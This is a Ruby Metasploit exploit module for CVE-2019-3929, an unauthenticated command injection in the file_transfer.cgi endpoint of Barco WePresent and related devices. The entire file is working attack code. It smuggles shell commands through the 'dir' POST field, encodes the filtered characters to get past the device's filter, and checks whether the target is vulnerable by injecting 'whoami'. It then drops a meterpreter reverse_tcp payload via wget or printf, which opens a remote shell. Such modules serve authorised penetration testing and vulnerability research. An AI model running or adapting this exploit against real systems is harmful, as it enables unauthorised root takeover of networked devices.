##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Barco WePresent file_transfer.cgi Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated remote command injection
          vulnerability found in Barco WePresent and related OEM'ed products.
          The vulnerability is triggered via an HTTP POST request to the
          file_transfer.cgi endpoint.
        },
        'License' => MSF_LICENSE,
        'Author' => 'Jacob Baines', # @Junior_Baines'
        'References' => [
          ['CVE', '2019-3929'],
          ['EDB', '46786'],
          ['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c']
        ],
        'DisclosureDate' => '2019-04-30',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'Payload' => {
                'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' }
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_ARMLE,
              'CmdStagerFlavor' => ['printf', 'wget'],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443,
          'CMDSTAGER::FLAVOR' => 'printf',
          'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def filter_bad_chars(cmd)
    cmd.gsub!(/;/, 'Pa_Note')
    cmd.gsub!(/\+/, 'Pa_Add')
    cmd.gsub!(/&/, 'Pa_Amp')
    return cmd
  end

  def send_command(cmd, timeout)
    vars_post = {
      file_transfer: 'new',
      dir: "'#{filter_bad_chars(cmd)}'"
    }

    send_request_cgi({
      'uri' => '/cgi-bin/file_transfer.cgi',
      'method' => 'POST',
      'vars_post' => vars_post
    }, timeout)
  end

  def check
    check_resp = send_command(';whoami;', 5)
    unless check_resp
      return CheckCode::Unknown('Connection failed.')
    end

    if check_resp.code == 200
      check_resp.body.gsub!(/[\r\n]/, '')
      if check_resp.body == 'root'
        return CheckCode::Vulnerable('The target is vulnerable')
      end
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  def execute_command(cmd, _opts = {})
    send_command(";(#{cmd})&", nil)
  end

  def exploit
    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: 128)
    end
  end
end
